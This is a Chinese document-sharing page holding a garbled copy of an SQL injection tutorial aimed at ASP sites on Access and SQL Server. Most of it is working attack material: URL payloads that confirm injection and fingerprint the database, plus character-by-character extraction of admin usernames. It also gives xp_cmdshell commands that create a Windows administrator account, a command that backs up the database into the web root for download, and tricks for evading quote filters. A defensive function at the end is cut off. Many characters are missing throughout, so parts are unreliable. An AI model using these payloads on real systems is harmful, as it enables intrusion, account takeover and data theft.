SQL注入漏洞全接觸課件_第1頁
SQL注入漏洞全接觸課件_第2頁
SQL注入漏洞全接觸課件_第3頁
SQL注入漏洞全接觸課件_第4頁
SQL注入漏洞全接觸課件_第5頁
已閱讀5頁,還剩27頁未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡介

:區(qū)家威(演)、君和志響(收集料)、童景和郭光志(SQL注入漏洞全接觸引

言隨著B/S模式用開的展,使用種模式寫用程序的程序也越來越多。但是由于個(gè)行的入不高,程序的水平及也參差不,相當(dāng)大一部分程序在寫代的候,沒有入數(shù)據(jù)的合法性行判斷,使用程序存在安全患。用可以提交一段數(shù)據(jù)代,根據(jù)程序返回的果,得某些他想得知的數(shù)據(jù),就是所的

SQLInjection,即SQL注入。SQL注入是從正常的WWW端

,而且表面看起來跟一般的Web面沒什么區(qū),所以目前市面的防火都不會SQL注入出警,如果管理沒看

IIS日

,可能被入很都不會但是,SQL注入的手法相當(dāng)靈活,在注入的候會碰到很多意外的情況。能不能根據(jù)具體情況行分析,構(gòu)造巧妙的SQL句,從而成功取想要的數(shù)據(jù),是高手與“菜”的根本區(qū)。根據(jù)國情,國內(nèi)的網(wǎng)站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我從分入、至高解一下

ASP注入的方法及技巧,PHP注入的文章由NB盟的另一位朋友zwell撰寫,希望安全工作者和程序都有用。了解ASP注入的朋友也不要跳入篇,因部分人注入的基本判斷方法存在區(qū)。大家準(zhǔn)?

Let'sGo...入篇如果你以前沒SQL注入的,那么第一步先把IE菜=>工具=>Internet=>高=>示友HTTP信息前面的勾去掉。否,不服器返回什么

IE都只示HTTP500服器,不能得更多的提示信息。第一、SQL注入原理在網(wǎng)站首上,有名“IE不能打開新窗口的多種解決方法”的接,地址:,我在個(gè)地址后面加上引號

’,服器會返回下面的提示:MicrosoftJETDatabaseEngine'80040e14'字符串的法在表達(dá)式

'ID=49''中。/showdetail.asp,行8從個(gè)提示我能看出下面幾點(diǎn):1.網(wǎng)站使用的是Access數(shù)據(jù),JET引擎接數(shù)據(jù),而不是ODBC。2.程序沒有判斷客端提交的數(shù)據(jù)是否符合程序要求。3.SQL句

的表中有一名ID的字段。從上面的例子我可以知道,SQL注入的原理,就是從客端提交特殊的代,從而收集程序及服器的信息,從而取你想到得到的料。第二、判斷能否行SQL注入首先,不一定每臺服器的IIS都返回具體提示客端,如果程序中加了cint(參數(shù))之句的,SQL注入是不會成功的,但服器同會,具體提示信息理

URL服器上出。和系管理。其次,部分SQL注入有一點(diǎn)了解的程序,只要把引號掉就安全了,種情況不少數(shù),如果你用引號,是不到注入點(diǎn)的那么,什么的方法才是比準(zhǔn)確呢?答如下:①就是

1=1、1=2法了,怎么判斷呢?看看上面三個(gè)網(wǎng)址返回的果就知道了:可以注入的表:①

正常示(是必然的,不然就是程序有了)②

正常示,內(nèi)容基本與①相同③

提示BOF或EOF(程序沒做任何判斷)、或提示找不到(判斷了

rs.eof)、或示內(nèi)容空(程序加了onerrorresumenext)不可以注入就比容易判斷了,①同正常示,②和③一般都會有程序定的提示,或提示型出。當(dāng)然,只是入?yún)?shù)是數(shù)字型的候用的判斷方法,用的候會有字符型和搜索型參數(shù),我將在中篇的“SQL注入一般步”再做分析。第三:判

數(shù)

據(jù)

型及注入方法不同的數(shù)據(jù)的函數(shù)、注入方法都是有差異的,所以在注入之前,我要判斷一下數(shù)據(jù)的型。一般

ASP最常搭配的數(shù)據(jù)是Access和SQLServer,網(wǎng)上超99%的網(wǎng)站都是其中之一。怎么程序告你它使用的什么數(shù)據(jù)呢?來看看:SQLServer有

量,如果服器

IIS提示沒關(guān),并且SQLServer返回提示的,那可以直接從出信息取,方法如下:/showdetail.asp?id=49anduser>0句很,但包含了

SQLServer特有注入方法的精髓,我自己也是在一次無意的種效率極高的猜解方法。我看來看看它的含:首先,前面的句是正常的,重點(diǎn)在

anduser>0,我知道,user是SQLServer的一個(gè)內(nèi)置量,它的是當(dāng)前接的用名,型nvarchar。拿一個(gè)nvarchar的跟int的數(shù)0比,系會先

nvarchar的

int型,當(dāng)然,程中肯定會出,

SQLServer的出提示是:將nvarchar”abc”數(shù)據(jù)型int的

法,呵呵,

abc正是量user的,,不吹灰之力就拿到了數(shù)據(jù)的用名。在以后的篇幅里,大家會看到很多用種方法的句。幾句,眾所周知,

SQLServer的用sa是個(gè)等同Adminstrators限的角色,拿到了sa限,幾乎肯定可以拿到主機(jī)的Administrator了。上面的方法可以很方便的出是否是用

sa登,要注意的是:如果是sa登,提示是將”dbo”

int的列生,而不是

”sa”。如果服器IIS不

提示,那怎么判斷數(shù)據(jù)型呢?我可以從Access和SQLServer和區(qū)入手,Access和SQLServer都有自己的系表,比如存放數(shù)據(jù)中所有象的表,Access是在系表[msysobjects]中,但在Web境

表會提示

“沒有限”,SQLServer是在表[sysobjects]中,在Web境下可正常取。在確可以注入的情況下,使用下面的句:/showdetail.asp?id=49and(selectcount(*)fromsysobjects)>0/showdetail.asp?id=49and(selectcount(*)frommsysobjects)>0如果數(shù)據(jù)是SQLServer,那么第一個(gè)網(wǎng)址的面與原面是大致相同的;而第二個(gè)網(wǎng)址,由于找不到表msysobjects,會提示出,就算程序有容理,面也與原面完全不同。如果數(shù)據(jù)用的是Access,那么情況就有所不同,第一個(gè)網(wǎng)址的面與原面完全不同;第二個(gè)網(wǎng)址,乎數(shù)據(jù)置是否允系表,一般來是不允的,所以與原網(wǎng)址也是完全不同。大多數(shù)情況下,用第一個(gè)網(wǎng)址就可以得知系所用的數(shù)據(jù)型,第二個(gè)網(wǎng)址只作開IIS提示的從上篇中,我學(xué)會了SQL注入的判斷方法,但真正要拿到網(wǎng)站的保密內(nèi)容,是的。接下來,我就如從數(shù)據(jù)中取想要得的內(nèi)容首先,我先看看SQL注入的一般步:第一、SQL注入的一般步首先,判斷境,找注入點(diǎn),判斷數(shù)據(jù)型,在入篇已了。其次,根據(jù)注入?yún)?shù)型,在海中重構(gòu)

SQL句的原貌,按參數(shù)型主要分下面三種:(A)ID=49注入的參數(shù)是數(shù)字型,

SQL句原貌大致如下:Select*from

表名

where字段=49注入的參數(shù)ID=49And[條件

],即是生成句:Select*from

表名

where字段=49And[條件

](B)Class=注入的參數(shù)是字符型,

SQL句原貌大致概如下:Select*from

表名

where字段=’’注入的參數(shù)Class=’and[條件

]and‘’=’,即是生成句:Select*from

表名

where字段=’’and[條件

]and‘’=’’(C)搜

參數(shù)的,如

keyword=關(guān)字,SQL句原貌大致如下:Select*from

表名

where字段like’%關(guān)字%’注入的參數(shù)keyword=’and[條件

]and‘%25’=’,

即是生成句:Select*from

表名

where字段like’%’and[條件

]and‘%’=’%’接著,將條件替成

SQL句,猜解表名,例如:ID=49And(SelectCount(*)fromAdmin)>=0如果面就與ID=49的相同,明附加條件成立,即表Admin存在,反之,即不存在(牢種方法)。如此循,直至猜到表名止。表名猜出來后,將Count(*)替成Count(字段名),用同的原理猜解字段名。有人會:里有一些偶然的成分,如果表名起得很沒律的,那根本就沒得玩下去了。得很,世界根本就不存在100%成功的黑客技,不叮無的,無多技多高深的黑客,都是因人的程序?qū)懙貌幻芑蚴褂谜弑C芤獠?,才有得下手。有點(diǎn)跑了,回來,于

SQLServer的,是有法程序告我表名及字段名的,我在高篇中會做介

。最后,在表名和列名猜解成功后,再使用SQL句,得出字段的,下面介一種最常用的方法Ascii逐字解法,然種方法速度很慢,但肯定是可行的方法。我

個(gè)例子,已知表

Admin中存在username字段,首先,我取第一條度

:/showdetail.asp?id=49and(selecttop1len(username)fromAdmin)>0先明原理:如果top1的username度大于0,條件成立;接著就是>1、>2、>3下去,一直到條件不成立止

,比如>7成立,>8不成立,就是len(username)=8當(dāng)然沒人會笨得從0,1,2,3一個(gè)個(gè),怎么才比快就看各自

了。在得到

username的度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII,比如:id=49and(selecttop1asc(mid(username,1,1))fromAdmin)>0同也是用逐步小范的方法得到第

1位字符的ASCII,注意的是英文和數(shù)字的ASCII在1-128之,可以用折半法加速猜

,

,效率會有極大的提高。第二、SQL注入常用函數(shù)有SQL言基的人,在

SQL注入的候成功率比不熟悉的人高很多。我有必要提高一下自己的SQL水平,特是一些常用的函數(shù)及命令。Access:asc(字符)SQLServer:unicode(字符)作用:返回某字符的ASCIIAccess:chr(數(shù)字)SQLServer:nchar(數(shù)字)作用:與asc相反,根據(jù)ASCII返回字符Access:mid(字符串,N,L)SQLServer:substring(字符串,N,L)作用:返回字符串從N個(gè)字符起度L的子字符串,即N到N+L之的字符串Access:abc(數(shù)字)SQLServer:abc(數(shù)字)作用:返回?cái)?shù)字的(在猜解字的候會用到)Access:AbetweenBAndCSQLServer:AbetweenBAndC作用:判斷A是否界于B與C之第三、中文理方法在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其只要中文的有所了解,

“中文恐懼癥”很快可以克服。先一點(diǎn)常:Access中,中文的ASCII可

數(shù),取出數(shù)后用

abs()取字字符不。SQLServer中,中文的ASCII正數(shù),但由于是UNICODE的雙位不能用函數(shù)ascii()取得ASCII,必用函數(shù)

unicode()返回unicode,再用nchar函

數(shù)

的中文字符。了解了上面的兩點(diǎn)后,是不是得中文猜解其也跟英文差不多呢?除了使用的函數(shù)要注意、猜解范大一點(diǎn)外,方法是沒什么兩的。看完入篇和篇后,加破解一般的網(wǎng)站是沒了。但如果碰到表名列名猜不到,或程序作者

了一些特殊字符,怎么提高注入的成功率?怎么提高猜解效率?大家接著往下看高篇第一、利用系表注入

SQLServer數(shù)據(jù)SQLServer是一個(gè)功能強(qiáng)大的數(shù)據(jù)系,與操作系也有密的系,者來了很大的方便,但另一方面,也注入者提供了一個(gè)跳板,我先來看看幾個(gè)具體的例子:①

http://Site/url.asp?id=1;execmaster..xp_cmdshell“netusernamepassword/add”--分號;在SQLServer中表示隔開前后兩句句,--表示后面的句注,所以,句句在

SQLServer中將被分成兩句行,先是Select出ID=1的,然后行

xp_cmdshell,個(gè)存程用于用系命令,于是,用net命令新建了用名name、密password的windows的號,接著:②

http://Site/url.asp?id=1;execmaster..xp_cmdshell“netlocalgroupnameadministrators/add”--將新建的號name加入管理,不用兩分,你已拿到了系最高限!當(dāng)然,種方法只適用于用

sa接數(shù)據(jù)的情況,否,是沒有限用xp_cmdshell的。

http://Site/url.asp?id=1;;anddb_name()>0前面有個(gè)似的例子anduser>0,作用是取接用名,

db_name()是另一個(gè)系量,返回的是接的數(shù)據(jù)名。④

http://Site/url.asp?id=1;backupdatabase

數(shù)據(jù)名

todisk=’c:\inetpub\wwwroot\1.db’;--是相當(dāng)狠的一招,從③拿到的數(shù)據(jù)名,加上某些IIS出暴露出的將數(shù)據(jù)份到

Web目下面,再用HTTP把整個(gè)數(shù)據(jù)就完完整整的下回來,所有的管理及用密都一無!在不知道候,可以份到網(wǎng)地址的方法(如

\\202.96.xx.xx\Share\1.db),但成功率不高。

http://Site/url.asp?id=1;;and(SelectTop1namefromsysobjectswherextype=’U’andstatus>0)>0前面

sysobjects是SQLServer的系表,存著所有的表名、、束及其它象,

xtype=’U’andstatus>0,表示用建立的表名,上面的句將第一個(gè)表名取出,與0比大小,信息把表名暴露出來。第二、第三個(gè)表名怎么???是留我明的者思考吧。⑥

http://Site/url.asp?id=1;;and(SelectTop1col_name(object_id(‘表名’),1)fromsysobjects)>0從⑤拿到表名后,用object_id(‘表名’)取表名的內(nèi)部

ID,col_name(表名ID,1)代表表的第1個(gè)字段名,將1成2,3,4...就可以逐個(gè)取所猜解表里面的字段名。以上6點(diǎn)是我研究SQLServer注入半年多以來的心血晶,可以看出,SQLServer的了解程度,直接影響著成功率及猜解速度。在我研究SQLServer注入之后,我在開方面的水平也得到很大的提高,呵呵,也安全與開本來就是相相成的吧。第二、程序制入在入篇提到,有很多人喜用

’號

注入漏洞,所以也有很多人用’號的方法來“防止”注入漏洞,也能住一些入者的攻,但SQL注入比熟悉的人,是可以利用相關(guān)的函數(shù),達(dá)到程序限制的目的。在“SQL注入的一般步”一中,我所用的句,都是我化,其不包含有引號的;在

“利用系表注入SQLServer數(shù)據(jù)”中,有些句包含有’號,我個(gè)例子來看看怎么改造些句:的如

wherextype=’U’,字符U

ASCII是85,所以可以用wherextype=char(85)代替;如果字符是中文的,比如wherename=’用’,可以用wherename=nchar(29992)+nchar(25143)代替。第三、1.有些人會Select、Update、Delete些關(guān)字,但偏偏忘區(qū)分大小寫,所以大家可以用selecT一下。2.在猜不到字段名,不妨看看網(wǎng)站上的登表,一般了方便起,字段名都與表的入框取相同的名字。3.特注意:地址的

+號入程序后解空格,%2B解+號,%25解%號,具體可以參考URLEncode的相關(guān)介。4.用Get方法注入,IIS會

你所有的提交字符串,Post方法做不,所以能用

Post的網(wǎng)址盡量不用Get

。5.猜解Access只能用Ascii逐字解法,SQLServer也可以用種方法,只需要兩者之的區(qū)即可,但是如果能用SQLServer的信息把暴露出來,那效率和準(zhǔn)確率會有極大的提高。防

法SQL注入漏洞可是“千里之堤,于”,種漏洞在網(wǎng)上極普遍,通常是由于程序注入不了解,或者程序格,或者某個(gè)參數(shù)忘致。在里,我大家一個(gè)函數(shù),代替

ASP中的Request函數(shù),可以一切的SQL注入SayNO,函數(shù)如下:FunctionSafeRequest(ParaName,ParaType)'---入?yún)?shù)

---'ParaName:參數(shù)名稱-字符型'ParaType:參數(shù)型-數(shù)字型(1表示以上參數(shù)是數(shù)字,0表示以上參數(shù)字符)DimParaValueParaValue=Request(ParaName)IfParaType=1thenIfParaValue=""ornotisNumeric(Par

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論